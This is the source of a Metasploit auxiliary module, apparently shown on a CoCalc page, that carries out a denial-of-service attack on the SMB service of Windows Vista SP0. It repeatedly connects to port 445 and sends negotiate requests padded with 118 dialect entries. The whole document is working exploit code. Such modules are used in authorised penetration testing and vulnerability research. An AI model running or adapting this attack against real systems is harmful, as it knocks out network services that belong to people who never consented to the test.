CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
13
      'Description'    => %q{
14
        This module exploits a flaw in Windows Vista that allows a remote
15
      unauthenticated attacker to disable the SMB service. This vulnerability
16
      was silently fixed in Microsoft Vista Service Pack 1.
17
      },
18

19
      'Author'         => [ 'hdm' ],
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'OSVDB', '64341'],
24
        ]
25
    ))
26

27
    register_options([Opt::RPORT(445)])
28
  end
29

30
  def run
31

32
    print_status("Sending 100 negotiate requests...");
33

34
    # 100 requests ensure that the bug is reliably hit
35
    1.upto(100) do |i|
36

37
      begin
38

39
        connect
40

41
        # 118 dialects are needed to trigger a non-response
42
        dialects = ['NT LM 0.12'] * 118
43

44
        data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
45

46
        pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
47
        pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
48
        pkt['Payload']['SMB'].v['Flags1'] = 0x18
49
        pkt['Payload']['SMB'].v['Flags2'] = 0xc853
50
        pkt['Payload'].v['Payload'] = data
51
        pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
52
        pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
53

54
        sock.put(pkt.to_s)
55

56
        disconnect
57

58
      rescue ::Interrupt
59
        raise $!
60

61
      rescue ::Exception
62
        print_error("Error at iteration #{i}: #{$!.class} #{$!}")
63
        return
64
      end
65

66
    end
67

68
  end
69
end
70

71